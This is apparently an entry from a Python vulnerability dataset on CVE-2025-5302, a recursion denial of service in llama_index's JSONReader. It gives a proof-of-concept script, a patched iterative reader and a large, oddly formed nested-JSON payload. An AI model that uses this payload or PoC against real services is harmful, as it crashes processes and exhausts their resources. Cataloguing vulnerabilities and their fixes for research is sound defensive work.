CVE-2025-5302
Uncontrolled recursion in llama_index JSONReader leads to Denial of Service.
- CVSS 8.6
- CWE-674
- Resource Management
- Local
A denial of service vulnerability exists in the JSONReader component of the run-llama/llama_index repository, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.
- CWE
- CWE-674
- CVSS base score
- 8.6
- Published
- 2025-08-25
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- llama_index
- Fixed by upgrading
- Yes
Solution
Upgrade `llama-index` to version 0.12.38 or later.
Vulnerable code sample
import sys
import json
# In a real scenario, the default recursion limit is often around 1000.
# We set a depth greater than that to reliably trigger the vulnerability.
# Note: For demonstration, we set it slightly lower. You might need to adjust
# sys.setrecursionlimit() on your system if it's already very high.
RECURSION_DEPTH = 1500
class JSONReader:
"""
A simplified representation of the vulnerable JSONReader.
This class contains a recursive method to parse JSON-like structures
without any depth control, making it susceptible to a denial-of-service
attack via a deeply nested JSON payload.
"""
def load_data(self, data):
"""Loads data from a Python dictionary (parsed from JSON)."""
print("Starting to parse the JSON data...")
self._recursive_parse(data)
print("Parsing completed successfully (this should not be reached).")
def _recursive_parse(self, node):
"""
The vulnerable recursive function. It traverses the data structure
without checking the current recursion depth.
"""
if isinstance(node, dict):
for key, value in node.items():
self._recursive_parse(value)
elif isinstance(node, list):
for item in node:
self._recursive_parse(item)
# In a real reader, it would process primitive types here (e.g., extract text).
# For this PoC, we do nothing with them.
else:
pass
def create_malicious_nested_json(depth):
"""Creates a deeply nested dictionary to exploit the vulnerability."""
print(f"Creating a malicious JSON structure with depth {depth}...")
nested_obj = "end"
for _ in range(depth):
nested_obj = {"key": nested_obj}
return nested_obj
if __name__ == "__main__":
print(f"--- PoC for CVE-2025-5302 ---")
print(f"Python's current recursion limit: {sys.getrecursionlimit()}")
# 1. Create the deeply nested JSON payload
malicious_payload = create_malicious_nested_json(RECURSION_DEPTH)
# 2. Instantiate the vulnerable reader
vulnerable_reader = JSONReader()
# 3. Trigger the vulnerability
print("\nAttempting to parse the malicious payload with the vulnerable reader...")
print("This is expected to crash with a 'RecursionError'.")
try:
# This call will lead to uncontrolled recursion.
vulnerable_reader.load_data(malicious_payload)
except RecursionError:
print("\nSUCCESS: The vulnerability was successfully triggered!")
print("A 'RecursionError' was caught, which demonstrates the Denial of Service.")
print("The process would have crashed without this try/except block.")
except Exception as e:
print(f"\nFAILURE: An unexpected error occurred: {e}")Patched code sample
import json
from pathlib import Path
from typing import Any, Dict, List, Union
class JSONReaderFixed:
"""
A reader for JSON files that has been patched to handle deeply nested
structures without causing a Denial of Service through stack exhaustion.
This code represents the fix for the vulnerability described in CVE-2025-5302.
The fix involves replacing the original, vulnerable recursive parsing
logic with an iterative approach that uses an explicit stack. This avoids
hitting Python's maximum recursion depth limit, regardless of how deeply
the JSON data is nested.
"""
def load_data(self, file: Path) -> List[str]:
"""
Loads JSON data from a file and extracts textual content iteratively.
Args:
file (Path): The path to the deeply nested JSON file.
Returns:
List[str]: A list of strings representing the textual content
extracted from the JSON.
"""
try:
with open(file, "r", encoding="utf-8") as f:
data = json.load(f)
except (json.JSONDecodeError, FileNotFoundError) as e:
print(f"Error reading or parsing JSON file: {e}")
return []
return self._parse_json_iteratively(data)
def _parse_json_iteratively(self, data: Union[Dict, List]) -> List[str]:
"""
Parses a JSON object using an iterative, stack-based approach
to prevent recursion depth errors (the fix for CVE-2025-5302).
The original vulnerable implementation would have used a recursive function
that could easily exceed the call stack limit. This implementation uses
a `while` loop and a list (`stack`) to manage traversal, which is
limited only by available memory, not recursion depth.
Args:
data (Union[Dict, List]): The JSON data to parse.
Returns:
List[str]: A list of extracted text values from the JSON structure.
"""
extracted_texts: List[str] = []
# The explicit stack is the core of the non-recursive, safe solution.
# We initialize it with the top-level JSON object.
stack: List[Any] = [data]
while stack:
# Pop the next node to process from the stack.
current_node = stack.pop()
if isinstance(current_node, dict):
# If it's a dictionary, add all its values to the stack to be
# processed in subsequent iterations.
stack.extend(list(current_node.values()))
elif isinstance(current_node, list):
# If it's a list, add all its elements to the stack.
stack.extend(current_node)
elif isinstance(current_node, (str, int, float, bool)) or current_node is None:
# If it's a leaf node (a primitive value), convert it to a
# string and add it to our results.
if current_node is not None:
extracted_texts.append(str(current_node))
# Other complex types within the JSON are implicitly ignored.
return extracted_textsPayload
{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"--":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"--":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"--/..-":{"-":{"-":{"-":{"-":{"-..-":{"-/-":{"-..-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"--vici":"[{"v_enum":2001,"v_value":"null"}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}-":{"-/":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"--":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"--":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-":{"-'": 123}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
Cite this entry
@misc{vaitp:cve20255302,
title = {{Uncontrolled recursion in llama_index JSONReader leads to Denial of Service.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-5302},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-5302/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
